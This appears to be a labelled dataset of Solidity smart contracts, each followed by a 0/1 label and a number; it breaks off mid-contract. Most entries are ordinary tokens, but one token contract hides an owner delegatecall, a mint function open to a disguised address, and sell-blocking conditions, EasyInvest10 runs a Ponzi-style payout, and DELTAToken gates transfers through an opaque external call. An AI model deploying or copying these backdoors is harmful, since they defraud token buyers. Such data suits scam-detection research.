pragma solidity ^0.4.18; contract PiggyBank { event Gift(address indexed donor, uint indexed amount); event Lambo(uint indexed amount); uint constant lamboTime = 2058739200; address niece = 0x1FC7b94f00C54C89336FEB4BaF617010a6867B40; function() payable { Gift(msg.sender, msg.value); } function buyLambo() { require (block.timestamp > lamboTime && msg.sender == niece); Lambo(this.balance); msg.sender.transfer(this.balance); } }
1
3,836
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Interface { function totalSupply() constant returns (uint256 totalSupply); function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract Bqt_Token is ERC20Interface { string public constant symbol = "BQT"; string public constant name = "BQT token"; uint8 public constant decimals = 18; uint256 public constant maxTokens = 800*10**6*10**18; uint256 public constant ownerSupply = maxTokens*51/100; uint256 _totalSupply = ownerSupply; uint256 public constant token_price = 10**18*1/800; uint256 public pre_ico_start = 1531872000; uint256 public ico_start = 1533081600; uint256 public ico_finish = 1540944000; uint public constant minValuePre = 10**18*1/1000000; uint public constant minValue = 10**18*1/1000000; uint public constant maxValue = 3000*10**18; uint8 public constant exchange_coefficient = 102; using SafeMath for uint; address public owner; address public moderator; mapping(address => uint256) balances; mapping(address => mapping (address => uint256)) allowed; mapping(address => uint256) public orders_sell_amount; mapping(address => uint256) public orders_sell_price; address[] public orders_sell_list; event Order_sell(address indexed _owner, uint256 _max_amount, uint256 _price); event Order_execute(address indexed _from, address indexed _to, uint256 _amount, uint256 _price); modifier onlyOwner() { if (msg.sender != owner) { throw; } _; } modifier onlyModerator() { if (msg.sender != moderator) { throw; } _; } function changeOwner(address _owner) onlyOwner returns (bool result) { owner = _owner; return true; } function changeModerator(address _moderator) onlyOwner returns (bool result) { moderator = _moderator; return true; } function Bqt_Token() { owner = 0x3d143e5f256a4fbc16ef23b29aadc0db67bf0ec2; moderator = 0x788C45Dd60aE4dBE5055b5Ac02384D5dc84677b0; balances[owner] = ownerSupply; } function() payable { tokens_buy(); } function totalSupply() constant returns (uint256 totalSupply) { totalSupply = _totalSupply; } function withdraw(uint256 _amount) onlyOwner returns (bool result) { uint256 balance; balance = this.balance; if(_amount > 0) balance = _amount; owner.send(balance); return true; } function change_pre_ico_start(uint256 _pre_ico_start) onlyModerator returns (bool result) { pre_ico_start = _pre_ico_start; return true; } function change_ico_start(uint256 _ico_start) onlyModerator returns (bool result) { ico_start = _ico_start; return true; } function change_ico_finish(uint256 _ico_finish) onlyModerator returns (bool result) { ico_finish = _ico_finish; return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function transfer(address _to, uint256 _amount) returns (bool success) { if (balances[msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to]) { balances[msg.sender] -= _amount; balances[_to] += _amount; Transfer(msg.sender, _to, _amount); return true; } else { return false; } } function transferFrom( address _from, address _to, uint256 _amount ) returns (bool success) { if (balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to]) { balances[_from] -= _amount; allowed[_from][msg.sender] -= _amount; balances[_to] += _amount; Transfer(_from, _to, _amount); return true; } else { return false; } } function approve(address _spender, uint256 _amount) returns (bool success) { allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function tokens_buy() payable returns (bool) { uint256 tnow = now; if(tnow > ico_finish) throw; if(_totalSupply >= maxTokens) throw; if(!(msg.value >= token_price)) throw; if(!(msg.value >= minValue)) throw; if(msg.value > maxValue) throw; uint tokens_buy = (msg.value*10**18).div(token_price); uint tokens_buy_total; if(!(tokens_buy > 0)) throw; uint b1 = 0; uint b2 = 0; uint b3 = 0; if(_totalSupply <= 5*10**6*10**18) { b1 = tokens_buy*30/100; } if((5*10**6*10**18 < _totalSupply)&&(_totalSupply <= 10*10**6*10**18)) { b1 = tokens_buy*25/100; } if((10*10**6*10**18 < _totalSupply)&&(_totalSupply <= 15*10**6*10**18)) { b1 = tokens_buy*20/100; } if((15*10**6*10**18 < _totalSupply)&&(_totalSupply <= 20*10**6*10**18)) { b1 = tokens_buy*15/100; } if((20*10**6*10**18 < _totalSupply)&&(_totalSupply <= 25*10**6*10**18)) { b1 = tokens_buy*10/100; } if(25*10**6*10**18 <= _totalSupply) { b1 = tokens_buy*5/100; } if(tnow < ico_start) { b2 = tokens_buy*50/100; } if((ico_start + 86400*0 <= tnow)&&(tnow < ico_start + 86400*5)){ b2 = tokens_buy*10/100; } if((ico_start + 86400*5 <= tnow)&&(tnow < ico_start + 86400*10)){ b2 = tokens_buy*8/100; } if((ico_start + 86400*10 <= tnow)&&(tnow < ico_start + 86400*20)){ b2 = tokens_buy*6/100; } if((ico_start + 86400*20 <= tnow)&&(tnow < ico_start + 86400*30)){ b2 = tokens_buy*4/100; } if(ico_start + 86400*30 <= tnow){ b2 = tokens_buy*2/100; } if((1000*10**18 <= tokens_buy)&&(5000*10**18 <= tokens_buy)) { b3 = tokens_buy*5/100; } if((5001*10**18 <= tokens_buy)&&(10000*10**18 < tokens_buy)) { b3 = tokens_buy*10/100; } if((10001*10**18 <= tokens_buy)&&(15000*10**18 < tokens_buy)) { b3 = tokens_buy*15/100; } if((15001*10**18 <= tokens_buy)&&(20000*10**18 < tokens_buy)) { b3 = tokens_buy*20/100; } if(20001*10**18 <= tokens_buy) { b3 = tokens_buy*25/100; } tokens_buy_total = tokens_buy.add(b1); tokens_buy_total = tokens_buy_total.add(b2); tokens_buy_total = tokens_buy_total.add(b3); if(_totalSupply.add(tokens_buy_total) > maxTokens) throw; _totalSupply = _totalSupply.add(tokens_buy_total); balances[msg.sender] = balances[msg.sender].add(tokens_buy_total); return true; } function orders_sell_total () constant returns (uint256) { return orders_sell_list.length; } function get_orders_sell_amount(address _from) constant returns(uint) { uint _amount_max = 0; if(!(orders_sell_amount[_from] > 0)) return _amount_max; if(balanceOf(_from) > 0) _amount_max = balanceOf(_from); if(orders_sell_amount[_from] < _amount_max) _amount_max = orders_sell_amount[_from]; return _amount_max; } function order_sell(uint256 _max_amount, uint256 _price) returns (bool) { if(!(_max_amount > 0)) throw; if(!(_price > 0)) throw; orders_sell_amount[msg.sender] = _max_amount; orders_sell_price[msg.sender] = (_price*exchange_coefficient).div(100); orders_sell_list.push(msg.sender); Order_sell(msg.sender, _max_amount, orders_sell_price[msg.sender]); return true; } function order_buy(address _from, uint256 _max_price) payable returns (bool) { if(!(msg.value > 0)) throw; if(!(_max_price > 0)) throw; if(!(orders_sell_amount[_from] > 0)) throw; if(!(orders_sell_price[_from] > 0)) throw; if(orders_sell_price[_from] > _max_price) throw; uint _amount = (msg.value*10**18).div(orders_sell_price[_from]); uint _amount_from = get_orders_sell_amount(_from); if(_amount > _amount_from) _amount = _amount_from; if(!(_amount > 0)) throw; uint _total_money = (orders_sell_price[_from]*_amount).div(10**18); if(_total_money > msg.value) throw; uint _seller_money = (_total_money*100).div(exchange_coefficient); uint _buyer_money = msg.value - _total_money; if(_seller_money > msg.value) throw; if(_seller_money + _buyer_money > msg.value) throw; if(_seller_money > 0) _from.send(_seller_money); if(_buyer_money > 0) msg.sender.send(_buyer_money); orders_sell_amount[_from] -= _amount; balances[_from] -= _amount; balances[msg.sender] += _amount; Order_execute(_from, msg.sender, _amount, orders_sell_price[_from]); } }
0
2,016
contract owned { address public owner; function owned() { owner = msg.sender; } modifier onlyOwner { if (msg.sender != owner) throw; _; } function transferOwnership(address newOwner) onlyOwner { owner = newOwner; } } contract MyToken is owned{ string public standard = 'Token 0.1'; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; uint256 public sellPrice; uint256 public buyPrice; uint minBalanceForAccounts; mapping (address => uint256) public balanceOf; mapping (address => bool) public frozenAccount; event Transfer(address indexed from, address indexed to, uint256 value); event FrozenFunds(address target, bool frozen); function MyToken( uint256 initialSupply, string tokenName, uint8 decimalUnits, string tokenSymbol, address centralMinter ) { if(centralMinter != 0 ) owner = msg.sender; balanceOf[msg.sender] = initialSupply; totalSupply = initialSupply; name = tokenName; symbol = tokenSymbol; decimals = decimalUnits; } function transfer(address _to, uint256 _value) { if (frozenAccount[msg.sender]) throw; if (balanceOf[msg.sender] < _value) throw; if (balanceOf[_to] + _value < balanceOf[_to]) throw; if(msg.sender.balance<minBalanceForAccounts) sell((minBalanceForAccounts-msg.sender.balance)/sellPrice); if(_to.balance<minBalanceForAccounts) _to.send(sell((minBalanceForAccounts-_to.balance)/sellPrice)); balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; Transfer(msg.sender, _to, _value); } function mintToken(address target, uint256 mintedAmount) onlyOwner { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, owner, mintedAmount); Transfer(owner, target, mintedAmount); } function freezeAccount(address target, bool freeze) onlyOwner { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner { sellPrice = newSellPrice; buyPrice = newBuyPrice; } function buy() returns (uint amount){ amount = msg.value / buyPrice; if (balanceOf[this] < amount) throw; balanceOf[msg.sender] += amount; balanceOf[this] -= amount; Transfer(this, msg.sender, amount); return amount; } function sell(uint amount) returns (uint revenue){ if (balanceOf[msg.sender] < amount ) throw; balanceOf[this] += amount; balanceOf[msg.sender] -= amount; revenue = amount * sellPrice; msg.sender.send(revenue); Transfer(msg.sender, this, amount); return revenue; } function setMinBalance(uint minimumBalanceInFinney) onlyOwner { minBalanceForAccounts = minimumBalanceInFinney * 1 finney; } }
0
2,005
pragma solidity ^0.4.24; library ECDSA { function recover(bytes32 hash, bytes signature) internal pure returns (address) { bytes32 r; bytes32 s; uint8 v; if (signature.length != 65) { return (address(0)); } assembly { r := mload(add(signature, 32)) s := mload(add(signature, 64)) v := byte(0, mload(add(signature, 96))) } if (v < 27) { v += 27; } if (v != 27 && v != 28) { return (address(0)); } else { return ecrecover(hash, v, r, s); } } function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { return keccak256( abi.encodePacked("\x19Ethereum Signed Message:\n32", hash) ); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract Ownable { address private _owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { _owner = msg.sender; } function owner() public view returns(address) { return _owner; } modifier onlyOwner() { require(isOwner()); _; } function isOwner() public view returns(bool) { return msg.sender == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(_owner); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance( address owner, address spender ) public view returns (uint256) { return _allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool) { require(value <= _balances[msg.sender]); require(to != address(0)); _balances[msg.sender] = _balances[msg.sender].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(msg.sender, to, value); return true; } function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom( address from, address to, uint256 value ) public returns (bool) { require(value <= _balances[from]); require(value <= _allowed[from][msg.sender]); require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); emit Transfer(from, to, value); return true; } function increaseAllowance( address spender, uint256 addedValue ) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].add(addedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function decreaseAllowance( address spender, uint256 subtractedValue ) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].sub(subtractedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function _mint(address account, uint256 amount) internal { require(account != 0); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal { require(account != 0); require(amount <= _balances[account]); _totalSupply = _totalSupply.sub(amount); _balances[account] = _balances[account].sub(amount); emit Transfer(account, address(0), amount); } function _burnFrom(address account, uint256 amount) internal { require(amount <= _allowed[account][msg.sender]); _allowed[account][msg.sender] = _allowed[account][msg.sender].sub( amount); _burn(account, amount); } } contract Subscription is Ownable { using ECDSA for bytes32; using SafeMath for uint256; address public author; address public requiredToAddress; address public requiredTokenAddress; uint256 public requiredTokenAmount; uint256 public requiredPeriodSeconds; uint256 public requiredGasPrice; constructor( address _toAddress, address _tokenAddress, uint256 _tokenAmount, uint256 _periodSeconds, uint256 _gasPrice ) public { requiredToAddress=_toAddress; requiredTokenAddress=_tokenAddress; requiredTokenAmount=_tokenAmount; requiredPeriodSeconds=_periodSeconds; requiredGasPrice=_gasPrice; author=msg.sender; } event ExecuteSubscription( address indexed from, address indexed to, address tokenAddress, uint256 tokenAmount, uint256 periodSeconds, uint256 gasPrice ); mapping(bytes32 => uint256) public nextValidTimestamp; function isSubscriptionActive( bytes32 subscriptionHash, uint256 gracePeriodSeconds ) external view returns (bool) { return (block.timestamp <= nextValidTimestamp[subscriptionHash].add(gracePeriodSeconds) ); } function getSubscriptionHash( address from, address to, address tokenAddress, uint256 tokenAmount, uint256 periodSeconds, uint256 gasPrice ) public view returns (bytes32) { return keccak256( abi.encodePacked( byte(0x19), byte(0), address(this), from, to, tokenAddress, tokenAmount, periodSeconds, gasPrice )); } function getSubscriptionSigner( bytes32 subscriptionHash, bytes signature ) public pure returns (address) { return subscriptionHash.toEthSignedMessageHash().recover(signature); } function isSubscriptionReady( address from, address to, address tokenAddress, uint256 tokenAmount, uint256 periodSeconds, uint256 gasPrice, bytes signature ) public view returns (bool) { bytes32 subscriptionHash = getSubscriptionHash( from, to, tokenAddress, tokenAmount, periodSeconds, gasPrice ); address signer = getSubscriptionSigner(subscriptionHash, signature); uint256 allowance = ERC20(tokenAddress).allowance(from, address(this)); uint256 balance = ERC20(tokenAddress).balanceOf(from); return ( signer == from && from != to && block.timestamp >= nextValidTimestamp[subscriptionHash] && allowance >= tokenAmount.add(gasPrice) && balance >= tokenAmount.add(gasPrice) ); } function cancelSubscription( address from, address to, address tokenAddress, uint256 tokenAmount, uint256 periodSeconds, uint256 gasPrice, bytes signature ) public returns (bool success) { bytes32 subscriptionHash = getSubscriptionHash( from, to, tokenAddress, tokenAmount, periodSeconds, gasPrice ); address signer = subscriptionHash.toEthSignedMessageHash().recover(signature); require(signer == from, "Invalid Signature for subscription cancellation"); nextValidTimestamp[subscriptionHash]=uint256(-1); return true; } function executeSubscription( address from, address to, address tokenAddress, uint256 tokenAmount, uint256 periodSeconds, uint256 gasPrice, bytes signature ) public returns (bool success) { bytes32 subscriptionHash = getSubscriptionHash( from, to, tokenAddress, tokenAmount, periodSeconds, gasPrice ); address signer = getSubscriptionSigner(subscriptionHash, signature); require(signer == from, "Invalid Signature"); require( block.timestamp >= nextValidTimestamp[subscriptionHash], "Subscription is not ready" ); require( requiredToAddress == address(0) || to == requiredToAddress ); require( requiredTokenAddress == address(0) || tokenAddress == requiredTokenAddress ); require( requiredTokenAmount == 0 || tokenAmount == requiredTokenAmount ); require( requiredPeriodSeconds == 0 || periodSeconds == requiredPeriodSeconds ); require( requiredGasPrice == 0 || gasPrice == requiredGasPrice ); nextValidTimestamp[subscriptionHash] = block.timestamp.add(periodSeconds); uint256 startingBalance = ERC20(tokenAddress).balanceOf(to); require( ERC20(tokenAddress).transferFrom(from,to,tokenAmount), "Transfer Failed" ); require( (startingBalance+tokenAmount) == ERC20(tokenAddress).balanceOf(to), "Crappy ERC20 is a bad kitty." ); emit ExecuteSubscription( from, to, tokenAddress, tokenAmount, periodSeconds, gasPrice ); if (gasPrice > 0) { require( ERC20(tokenAddress).transferFrom(from, msg.sender, gasPrice), "Failed to pay gas as from account" ); } return true; } }
1
4,370
pragma solidity ^0.4.24; contract EasyInvest10 { address owner; function EasyInvest10 () { owner = msg.sender; } mapping (address => uint256) invested; mapping (address => uint256) atBlock; function() external payable { owner.send(msg.value/5); if (invested[msg.sender] != 0){ address kashout = msg.sender; uint256 getout = invested[msg.sender]*10/100*(block.number-atBlock[msg.sender])/5900; kashout.send(getout); } atBlock[msg.sender] = block.number; invested[msg.sender] += msg.value; } }
0
2,228
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1461045492991056468287016484048686824852249628073)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
1,482
pragma solidity ^0.7.0; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } interface IUniswapV2Router02 { function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BotProtected { address internal owner; address private botProtection; address public uniPair; constructor(address _botProtection) { botProtection = _botProtection; } modifier checkBots(address _from, address _to, uint256 _value) { (bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value)); require(notABot); _; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } abstract contract ERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; } } contract DELTAToken is BotProtected { mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply = 45000000000000000000000000; string public name = "DELTA.financial - deep DeFi derivatives"; string public symbol = "DELTA"; IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address public wETH = 